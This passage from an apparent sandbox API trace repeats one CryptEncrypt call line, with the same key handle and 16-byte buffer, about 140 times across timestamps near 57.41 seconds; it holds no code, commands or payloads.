CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.414] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.415] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.415] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.415] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.415] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.415] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.415] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.415] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.415] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.415] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.415] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.415] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.415] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.415] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.415] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.415] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.415] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.415] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.415] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.415] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.415] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.415] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.416] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.416] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.416] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.416] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.416] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.416] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.416] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.416] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.416] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.416] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.416] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.416] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.416] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.416] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.416] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.416] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.416] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.416] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.416] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.416] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.416] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.416] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.416] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.417] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.417] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.417] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.417] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.417] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.417] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.417] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.417] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.417] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.417] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.417] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.417] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.417] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.417] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.417] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.417] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.417] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.417] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.417] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.417] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.417] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.417] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.417] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.417] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.417] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.417] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.417] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.417] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.418] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.418] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.418] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.418] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.418] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.418] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.418] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.418] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.418] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.418] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.418] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.418] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.418] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.418] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.418] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.418] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.418] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.418] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.418] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.418] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.418] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.418] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.418] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.418] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.418] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.418] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.418] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.419] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.419] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.419] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.419] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.419] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0057.419] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, 